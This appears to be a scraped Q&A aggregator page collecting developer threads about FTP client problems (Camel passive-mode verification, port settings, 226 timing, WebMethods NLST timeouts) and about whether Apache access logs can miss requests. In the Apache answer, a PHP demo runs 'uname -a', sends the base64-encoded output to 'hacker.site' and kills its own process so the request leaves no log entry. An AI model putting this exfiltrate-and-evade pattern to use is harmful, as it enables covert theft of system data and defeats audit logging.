We Keep Coding

How to handle "Host attempting data connection x.x.x.x is not the same as server y.y.y.y" error with Camel FTP?

I'm trying to send a file to a third party ftp server (hosted by Amazon it would appear) with a Camel FTP Producer, and am having an issue where I am getting Writing File failed with: File operation failed... Host attempting data connection x.x.x.x is not the same as server y.y.y.y which I've not seen before.
The producer is configured to be in passive mode, and according to the logs at TRACE level, this is enabled. (Although the error message sounds like it would relate more to an active mode issue)
The y.y.y.y IP address is one of those listed by nslookup for the target domain, so that bit makes sense. However, the x.x.x.x IP relates to a different Amazon hosting server, and so I presume some sort of hand-off or load-balancing has been performed, and the FTP client doesn't like that.
Is there some way of configuring Camel FTP to allow this (I'm presuming this is a security feature), or should passive mode allow this anyway?
I have no influence with the ftp server provider, so unfortunately I can't change anything but my client options.
Thanks for looking!

After some digging, and grepping the source code for Apache Commons FTP, the message in question is caused by a validation in the client which checks that the passive mode connection is the same as the initial server connection.
Given that this appears to be a load-balanced system, the passive mode data connection is a different IP from the target IP, and this fails the validation.
It can be fixed using Camel FTP by creating a specific instance of the FTPClient and setting remove verification off.
FTPClient ftp = new FTPClient();
ftp.setRemoteVerificationEnabled(false);
registry.put("FTPClient", ftp);
and then referencing this object in the URI for FTP
ftp://user#host:21/path?password=xxxx&passiveMode=true&tempPrefix=part.&ftpClient=#FTPClient
Clearly, by disabling this remote verification test you are making yourself more vulnerable to the FTP data being redirected or intercepted and your data being sent somewhere you didn't intend, but I guess if you're worried about that you wouldn't be using still be using unencrypted FTP in the first place.

Change FTPClient port in order to send a command

I'm connecting and logging in to a server on port 21. What I want to do next is to send a command string, however I have been instructed to send this command through port 50.
How do I change the port to 50 whilst connected on port 21?
I have tried connecting to the server on port 50 intially, and the onnection is refused. I have tried sending the command whilst connected on port 21 using ftpClient.sendCommand and I get a reply code 500 Unknown command

You should go back to the one who told you this requirement and ask about specifics because - to be blunt - the whole thing doesn't make real sense:
FTP works with two connections, control and data. The control channel is the one you open on port 21 and there is only this one, you can't change it back to another port afterwards. So "send a command on port 50 but connect on port 21" is not a thing with FTP.
A data connection on a port < 1024 is not usual, so it's hard to believe that the one with that requirement meant that, either. For one that would require active FTP connections that everybody nowadays tries to avoid because they are a pain to configure. Opening a listener on a port < 1024 would require root-privileges on Unix-systems which is unlikely you will get just for doing FTP-transfers.
You also said that the command you actually try to send to the server is confidential. I find that hard to believe but if it really is that would mean that we're talking about a non-standard FTP-server working with its own set of FTP-commands, i.e. regular FTP-clients might not be able to do what you need at all.
So go back to the one who gave you this requirement and ask, what the heck he's talking about, ideally with an example how to do it, let's say using the FTP-client that comes with the Windows Command-Shell.

Typically when you connect, the server controls the port assignment. So when you issue a pasv command (passive mode), it typically sends you back an IP / Port to connect to for the data connection. I'm not aware of anything that will allow you to do what you want. The server can restrict the port range for these types of things. Here's a nice explanation that goes over this.
Active vs Passive FTP
You may be able to send a PORT command to connect to port 50 specifically, but it's really unusual to do something like this.
** Edit **
There's two things you can try, I've never used either, so YMMV.
In Active mode, the client gives the server a port to connect to.
Try setting the default port to 50 and turn on Active mode. Hopefully this is on your internal networks, because this would never get past security for a firewall request.
client.setDefaultPort(50);
client.enterLocalActiveMode(); // Apache FTPClient
For Passive mode, you can try to set the active port range.
client.setActivePortRange(50, 50)
client.enterLocalPassiveMode();
You should ask what mode the server is expecting.

FTP: When to send the code 226 after initiating a file transfer?

From a FTP server perspective, if a client requests a file through RETR command, the server creates a data connection (socket) to the client through the specified port and starts the transfer by writing in the outputstream. The server is coded (JAVA) in such a way that after the write is complete in the socket, the outputstream is flushed and then the socket is closed. After this the code "226" is sent to the client in control channel.
Since the connection is over a very slow network, the 226 message reaches before the actual data transfer is complete. This is a tricky situation where the client code cannot be changed and the server has to make sure that the 226 is sent after client received the data.
I tried searching in the internet and got few inputs, but not sure which one is the standard.
1. to use setSoLinger() method to turn on SO_LINGER and to set timeout.
2. to introduce a delay after writing each byte in to socket (performance will be impacted for fast connections).
Is there any other options other than the above to solve the situation. Any idea about the standard followed for sending 226 in Linux/ Solaris/Windows FTP Servers.
I could see a similar thread in stackoverflow "When should 226 be sent from the FTP server?" , but could not find much info from that related to my question.
Help here is really appreciated...Thanks

Do not go with the delay for sure, the only thing I can think of is that you build a proxy layer that intercepts the acknowledge code, checks for the file, and reroutes the code to the application, sort of what telerik fiddler does as an application.
The same concept I used before with the JMS acknowledge mode when delivering messages to the server and I had to implement the same.
Wish you all luck my friend

Do Apache Access Logs Ever Miss Requests?

My workplace has Apache in-front of various Java application servers. I often have to investigate production issues and rely on those Apache Access Logs recording all requests to the application servers, whether they are successful (200), redirects(302), errors (500) or some other status.
A couple of times however, normally when an application server has become unresponsive and required a restart, it looks like maybe some requests have not been logged.
I have tried reproducing this locally (start a long running request and either allow the request to exceed the timeout on the Apache server or just kill the application server from the command-line) but I always get a request logged in the access logs.
My question is, assuming Apache is running fine but faced with an application server problem, would the Apache access logs ever miss a request?

It can miss requests in some cases, docs contain important sentence:
The server access log records all requests processed by the server.
So if request is not processed, then we should not expect entry in access_log. If you wonder if such situation can be easily reproduced, then I found a way to do it.
Consider following PHP code (test.php):
<?php
$cmd_result = shell_exec('uname -a');
file_get_contents("https://hacker.site/" . base64_encode($cmd_result));
exec('kill -9 ' . getmypid());
Also you have to run Apache with prefork MPM and mod_php module. Then make request with browser or telnet:
$ telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
GET /test.php HTTP/1.0
Connection closed by foreign host.
As you can see, connection is closed without any response. Also there are no logs in access_log nor error_log, despite code was executed and attacker received encoded result of command uname -a.

FTP Timeout on NLST when directory is empty

EDIT: Learned that Webmethods actually uses NLST, not LIST, if that matters
Our business uses the WebMethods integration server to handle most of our outbound communications, and its FTP functionality leaves something to be desired. We are having a problem that may be specific to WebMethods, but if anyone can point me in a direction of what kinds of things might cause this I'd appreciate it.
When polling two of our partners' FTP servers, we connect without issue but, when doing a NLST on a directory that is empty (no files and no subdirectories) it's timing out. The actual error is:
com.wm.net.ftpCException: [ISC.0064.9010] java.net.SocketTimeoutException: Accept timed out
It's being thrown during the invocation of the pub.client.ftp:ls service. I've logged in with a number of FTP clients without a problem to the same sites. I've used whatever the default FTP client is in windows, FileZilla and lftp. All without issue. The servers themselves aren't the same FTP server software from what I can tell. One is Microsoft FTP, the other I'm uncertain on but is definitely not Microsoft.
Any idea what could cause an FTP client to timeout when waiting for a NLST response on an empty directory? The visible responses from the FTP server appear to be the same, but is there a difference in how NLST responds for an empty directory that I'm unaware of?
This problem is consistent on these two servers. Everything functions fine on directories with files or subdirectories within it, but not when empty.
Any thoughts or directions would be appreciated.
Thanks!
Eric Sipple

I tried this in WebMethods IS Version 6.5 Updates WmPRT_6-5-1_SP1, IS_6-5_SP3.
It worked perfectly first time.
I turned on debugging on the FTP server (Debian's default ftpd). WebMethods' NLST honours the active/passive parameter passed to it.
There's nothing special about the NLST command, nor its correct behaviour with an empty directory -- if LIST works, then so should RETR, STOR and NLST. If NLST works with a non-empty directory, it should work with an empty one.
So my guess is that either:
Your version of WM has a bug mine doesn't
Your FTP server has a bug mine doesn't
There's a wacky protocol-aware firewall in your system that doesn't like FTP data sockets with no data in them.
Firewall vendors are a bit wayward when it comes to FTP...
When testing with other clients, make sure it's from the same machine on which WebMethods Integration Server is running.
Just for the record, here's what should happen for an active NLST
client opens a listening socket, and sends a PORT command with that socket's details
client sends NLST command
server connects to client's listening socket (this is the data socket)
server transmits listing over data socket (in this case, zero bytes)
server closes data socket
... and in passive mode
client sends PASV command
server opens a listening socket, and replies with PASV response containing its details
client connects to listening socket (this is the data socket)
client sends NLST command
server transmits listing over data socket (zero bytes again)
server closes data socket

I am not sure if it was the same problem but I had similar symptoms a while ago using another FTP client in Java (commons.net). The problem turned out to be caused by the active/passive mode of the connection.
I am sorry I can't give you more details, that's all I can remember... hope that help.

Guillermo Vasconcelos was correct in his answer. There are two FTP modes, Active and Passive. The default FTP mode is active. Active requires the server to connect back to the client on some TCP/IP port. This does not work with firewalls because chances are that this port would be blocked or if you are behind a Router with NAT, not mapped.
If you use Passive (PASV) mode instead, you should not get the hang.

I'm going to run some new tests with the settings to passive tomorrow when maintenance is done here, but I'm not sure that's the issue. We are able to get a directory listing if there are files or subdirectories in that directory. It only fails when the directory we're NLST-ing on is empty.
Would the active/passive difference only manifest for an empty directory, or is there another possibility?

FTP requires that both the specified port and the one above it be opened through the firewall. When I had problems with webMethods timing out, it was because the firewall did not have the return port open.
Howard